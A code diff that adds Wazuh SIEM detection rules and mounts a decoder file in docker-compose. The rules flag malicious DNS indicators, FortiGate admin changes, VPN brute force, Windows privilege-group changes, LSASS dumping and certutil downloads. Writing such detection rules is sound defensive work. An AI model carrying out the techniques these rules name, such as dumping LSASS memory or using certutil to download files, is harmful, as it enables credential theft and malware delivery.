+    <group>soc_mvp_prod,baseline,</group>
123
+  </rule>
124
+
125
+  <!-- Appendix A1: DNS / Firewall IOC -->
126
+  <rule id="110301" level="8">
127
+    <decoded_as>soc-dns-ioc</decoded_as>
128
+    <match>event_type=ioc_dns_traffic</match>
129
+    <match>malicious.example</match>
130
+    <description>A1 production: DNS query to malicious domain indicator</description>
131
+    <group>soc_mvp_prod,appendix_a,a1,ioc,dns,</group>
132
+  </rule>
133
+  <rule id="110302" level="8">
134
+    <decoded_as>soc-dns-ioc</decoded_as>
135
+    <match>event_type=ioc_domain_match</match>
136
+    <description>A1 production: DNS IOC domain match event</description>
137
+    <group>soc_mvp_prod,appendix_a,a1,ioc,dns,</group>
138
+  </rule>
139
+
140
+  <!-- Appendix A2: FortiGate IPS/IDS & Firewall -->
141
+  <rule id="110311" level="12">
142
+    <match>vendor=fortinet</match>
143
+    <match>dstport=3389</match>
144
+    <match>action="accept"</match>
145
+    <description>A2 production: FortiGate allowed RDP traffic detected</description>
146
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
147
+  </rule>
148
+  <rule id="110312" level="12">
149
+    <match>vendor=fortinet</match>
150
+    <match>action="password-change"</match>
151
+    <description>A2 production: FortiGate admin password change</description>
152
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
153
+  </rule>
154
+  <rule id="110313" level="12">
155
+    <match>vendor=fortinet</match>
156
+    <match>action="create-admin"</match>
157
+    <description>A2 production: FortiGate admin account creation</description>
158
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
159
+  </rule>
160
+  <rule id="110314" level="12">
161
+    <match>vendor=fortinet</match>
162
+    <match>action="disable-email-notification"</match>
163
+    <description>A2 production: FortiGate email notification disabled</description>
164
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
165
+  </rule>
166
+  <rule id="110315" level="5">
167
+    <match>vendor=fortinet</match>
168
+    <match>action="download-config"</match>
169
+    <description>A2 production: FortiGate configuration download</description>
170
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
171
+  </rule>
172
+  <rule id="110316" level="8">
173
+    <match>vendor=fortinet</match>
174
+    <match>subtype="ips"</match>
175
+    <match>severity="critical"</match>
176
+    <description>A2 production: FortiGate critical IPS alert</description>
177
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,ips,</group>
178
+  </rule>
179
+  <rule id="110317" level="5">
180
+    <match>vendor=fortinet</match>
181
+    <match>event_type=port_scan</match>
182
+    <description>A2 production: FortiGate port scanning indicator</description>
183
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,recon,</group>
184
+  </rule>
185
+  <rule id="110318" level="8">
186
+    <match>vendor=fortinet</match>
187
+    <match>event_type=ioc_detection</match>
188
+    <description>A2 production: FortiGate IOC detection event</description>
189
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,ioc,</group>
190
+  </rule>
191
+  <rule id="110320" level="8">
192
+    <match>vendor=fortinet</match>
193
+    <match>event_type=malicious_ip_communication</match>
194
+    <description>A2 production: Communication to malicious IP detected</description>
195
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,ioc,</group>
196
+  </rule>
197
+
198
+  <!-- Appendix A3: FortiGate VPN -->
199
+  <rule id="110331" level="12">
200
+    <match>subtype="vpn"</match>
201
+    <match>success=true</match>
202
+    <match>guest</match>
203
+    <description>A3 production: VPN success by guest account</description>
204
+    <group>soc_mvp_prod,appendix_a,a3,vpn,</group>
205
+  </rule>
206
+  <rule id="110333" level="12">
207
+    <match>subtype="vpn"</match>
208
+    <match>event_type=vpn_bruteforce_success</match>
209
+    <description>A3 production: VPN brute-force success indicator</description>
210
+    <group>soc_mvp_prod,appendix_a,a3,vpn,</group>
211
+  </rule>
212
+  <rule id="110335" level="12">
213
+    <match>subtype="vpn"</match>
214
+    <match>success=true</match>
215
+    <match>country=</match>
216
+    <description>A3 production: VPN success with country context (geo-anomaly candidate)</description>
217
+    <group>soc_mvp_prod,appendix_a,a3,vpn,geo,</group>
218
+  </rule>
219
+
220
+  <!-- Appendix A4: Windows / Active Directory -->
221
+  <rule id="110341" level="8">
222
+    <match>source=windows</match>
223
+    <match>event_id=4625</match>
224
+    <match>is_admin=true</match>
225
+    <description>A4 production: Privileged account authentication failures</description>
226
+    <group>soc_mvp_prod,appendix_a,a4,windows,auth_fail,</group>
227
+  </rule>
228
+  <rule id="110342" level="8">
229
+    <match>source=windows</match>
230
+    <match>event_id=4625</match>
231
+    <match>is_service=true</match>
232
+    <description>A4 production: Service account authentication failures</description>
233
+    <group>soc_mvp_prod,appendix_a,a4,windows,auth_fail,</group>
234
+  </rule>
235
+  <rule id="110346" level="12">
236
+    <match>source=windows</match>
237
+    <match>event_id=4624</match>
238
+    <match>src_ip=</match>
239
+    <description>A4 production: Windows successful authentication with source IP context</description>
240
+    <group>soc_mvp_prod,appendix_a,a4,windows,auth_success,</group>
241
+  </rule>
242
+  <rule id="110352" level="12">
243
+    <match>source=windows</match>
244
+    <match>event_id=4728</match>
245
+    <match>target_group=</match>
246
+    <description>A4 production: Account added to privileged group (domain scope)</description>
247
+    <group>soc_mvp_prod,appendix_a,a4,windows,privilege,</group>
248
+  </rule>
249
+  <rule id="110353" level="12">
250
+    <match>source=windows</match>
251
+    <match>event_id=4732</match>
252
+    <match>target_group=</match>
253
+    <description>A4 production: Account added to privileged group (local scope)</description>
254
+    <group>soc_mvp_prod,appendix_a,a4,windows,privilege,</group>
255
+  </rule>
256
+
257
+  <!-- Appendix B1: VMware -->
258
+  <rule id="110401" level="12">
259
+    <decoded_as>soc-vmware-auth</decoded_as>
260
+    <match>event_type=vmware_</match>
261
+    <match>_fail_success</match>
262
+    <description>B1 production: vCenter login burst pattern</description>
263
+    <group>soc_mvp_prod,appendix_b,b1,vmware,</group>
264
+  </rule>
265
+  <rule id="110402" level="8">
266
+    <decoded_as>soc-vmware-auth</decoded_as>
267
+    <match>event_type=vmware_esxi_enable_ssh</match>
268
+    <description>B1 production: ESXi SSH enabled</description>
269
+    <group>soc_mvp_prod,appendix_b,b1,vmware,</group>
270
+  </rule>
271
+
272
+  <!-- Appendix B2: Log monitoring -->
273
+  <rule id="110411" level="5">
274
+    <decoded_as>soc-log-monitor</decoded_as>
275
+    <match>event_type=log_loss_detection</match>
276
+    <match>missing_stream=</match>
277
+    <description>B2 production: Log loss detection signal</description>
278
+    <group>soc_mvp_prod,appendix_b,b2,logmonitor,</group>
279
+  </rule>
280
+
281
+  <!-- Appendix B3: Sysmon -->
282
+  <rule id="110421" level="12">
283
+    <decoded_as>soc-windows-sysmon</decoded_as>
284
+    <match>target_process=lsass.exe</match>
285
+    <description>B3 production: LSASS dump behavior</description>
286
+    <group>soc_mvp_prod,appendix_b,b3,sysmon,credential_access,</group>
287
+  </rule>
288
+  <rule id="110426" level="8">
289
+    <decoded_as>soc-windows-sysmon</decoded_as>
290
+    <match>process=certutil.exe</match>
291
+    <description>B3 production: CertUtil download pattern</description>
292
+    <group>soc_mvp_prod,appendix_b,b3,sysmon,</group>
293
+  </rule>
294
+
295
+  <!-- Appendix C1-C3: future enhancement (production-prep heuristics) -->
296
+  <rule id="110501" level="12">
297
+    <match>event_type=c1_impossible_travel</match>
298
+    <description>C1 production: Impossible travel correlated event</description>
299
+    <group>soc_mvp_prod,appendix_c,c1,identity,</group>
300
+  </rule>
301
+  <rule id="110511" level="12">
302
+    <match>event_type=c2_credential_abuse</match>
303
+    <description>C2 production: Credential abuse correlated event</description>
304
+    <group>soc_mvp_prod,appendix_c,c2,identity,</group>
305
+  </rule>
306
+  <rule id="110521" level="12">
307
+    <match>event_type=c3_lateral_movement</match>
308
+    <description>C3 production: Lateral movement correlated event</description>
309
+    <group>soc_mvp_prod,appendix_c,c3,lateral_movement,</group>
310
+  </rule>
110
 </group>
311
 </group>

+ 1 - 0
wazuh-docker/single-node/docker-compose.yml

42
       - ./config/wazuh_indexer_ssl_certs/wazuh.manager.pem:/etc/ssl/filebeat.pem
42
       - ./config/wazuh_indexer_ssl_certs/wazuh.manager.pem:/etc/ssl/filebeat.pem
43
       - ./config/wazuh_indexer_ssl_certs/wazuh.manager-key.pem:/etc/ssl/filebeat.key
43
       - ./config/wazuh_indexer_ssl_certs/wazuh.manager-key.pem:/etc/ssl/filebeat.key
44
       - ./config/wazuh_cluster/wazuh_manager.conf:/var/ossec/etc/ossec.conf
44
       - ./config/wazuh_cluster/wazuh_manager.conf:/var/ossec/etc/ossec.conf
45
+      - ./config/wazuh_cluster/local_decoder.xml:/var/ossec/etc/decoders/local_decoder.xml
45
       - ./config/wazuh_cluster/local_rules.xml:/var/ossec/etc/rules/local_rules.xml
46
       - ./config/wazuh_cluster/local_rules.xml:/var/ossec/etc/rules/local_rules.xml
46
 
47
 
47
   wazuh.indexer:
48
   wazuh.indexer: